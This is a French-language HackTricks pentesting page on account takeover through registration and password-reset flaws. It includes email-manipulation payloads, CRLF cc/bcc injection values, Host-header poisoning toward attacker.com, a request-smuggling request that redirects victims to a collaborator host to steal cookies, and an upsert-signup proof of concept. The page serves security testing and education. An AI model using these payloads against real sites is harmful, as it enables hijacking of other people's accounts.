Vulnérabilités d'inscription & de Takeover

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Registration Takeover

Duplicate Registration

  • Essayez de créer un compte en utilisant un nom d'utilisateur existant
  • Vérifiez en variant l'email :
  • majuscules
  • +1@
  • ajoutez des points dans l'adresse e-mail
  • caractères spéciaux dans la partie locale de l'email (%00, %09, %20)
  • Ajoutez des caractères invisibles après l'email : test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.

Password Policy

Lors de la création d'un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).
Dans ce cas, vous pouvez tenter de bruteforcer les identifiants.

SQL Injection

Check this page pour apprendre comment tenter des account takeovers ou extraire des informations via SQL Injections dans les formulaires d'enregistrement.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Une fois inscrit, essayez de changer l'email et vérifiez si ce changement est correctement validé ou s'il est possible de le remplacer par un e-mail arbitraire.

More Checks

  • Vérifiez si vous pouvez utiliser des emails jetables
  • Mot de passe très long (>200) entraîne un DoS
  • Vérifiez les rate limits sur la création de comptes
  • Utilisez username@burp_collab.net et analysez le callback

Password Reset Takeover

Leak du token de réinitialisation de mot de passe via le Referrer

  1. Demandez une réinitialisation de mot de passe pour votre adresse e-mail
  2. Cliquez sur le lien de réinitialisation de mot de passe
  3. Ne changez pas le mot de passe
  4. Cliquez sur n'importe quel site tiers (ex : Facebook, Twitter)
  5. Interceptez la requête dans le proxy de Burp Suite
  6. Vérifiez si l'en-tête Referer leak le token de réinitialisation de mot de passe.

Password Reset Poisoning

  1. Interceptez la requête de réinitialisation dans Burp Suite
  2. Ajoutez ou éditez les en-têtes suivants dans Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Transmettez la requête avec l'en-tête modifié
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Cherchez une URL de réinitialisation basée sur l'host header comme : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR sur les paramètres d'API

  1. L'attaquant doit se connecter avec son compte et aller à la fonctionnalité Change password.
  2. Démarrez Burp Suite et activez Intercept sur la requête
  3. Envoyez-la à l'onglet Repeater et modifiez les paramètres : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token de réinitialisation de mot de passe faible

Le token de réinitialisation de mot de passe doit être généré aléatoirement et unique à chaque fois.
Essayez de déterminer si le token expire ou s'il est toujours le même ; dans certains cas l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Fuite du token de réinitialisation de mot de passe

  1. Déclenchez une demande de réinitialisation de mot de passe via l'API/UI pour un email spécifique, par ex : test@mail.com
  2. Inspectez la réponse du serveur et vérifiez la présence de resetToken
  3. Ensuite, utilisez le token dans une URL comme https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Réinitialisation de mot de passe via collision de nom d'utilisateur

  1. Enregistrez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. ex : "admin "
  2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
  3. Utilisez le token envoyé à votre email et réinitialisez le mot de passe de la victime.
  4. Connectez-vous au compte de la victime avec le nouveau mot de passe.

La plateforme CTFd était vulnérable à cette attaque.
Voir : CVE-2020-7245

Prise de contrôle du compte via Cross Site Scripting

  1. Trouvez un XSS dans l'application ou sur un sous-domaine si les cookies sont limités au domaine parent : *.domain.com
  2. Exfiltrer le sessions cookie actuel
  3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie

Prise de contrôle du compte via HTTP Request Smuggling

1. Utilisez smuggler pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Confectionnez une requête qui écrasera le POST / HTTP/1.1 avec les données suivantes :
GET http://something.burpcollaborator.net HTTP/1.1 X: dans le but d'entraîner un open redirect des victimes vers burpcollab et de voler leurs cookies
3. La requête finale pourrait ressembler à la suivante

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug\

Détournement de compte via CSRF

  1. Créez un payload pour le CSRF, par ex. : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
  2. Envoyez le payload

Détournement de compte via JWT

JSON Web Token peut être utilisé pour authentifier un utilisateur.

  • Modifier le JWT avec un autre User ID / Email
  • Vérifier la présence d'une signature JWT faible

JWT Vulnerabilities (Json Web Tokens)

Inscription comme réinitialisation (Upsert on Existing Email)

Certains signup handlers effectuent un upsert lorsque l'email fourni existe déjà. Si l'endpoint accepte un corps minimal avec un email et un password et n'applique pas de vérification de propriété, envoyer l'email de la victime écrasera son mot de passe pre-auth.

  • Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
  • Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
  • Minimal body observed in the wild:
json
{"email":"victim@example.com","password":"New@12345"}

Exemple de PoC :

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impact : Full Account Takeover (ATO) sans aucun reset token, OTP, ni vérification par e-mail.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks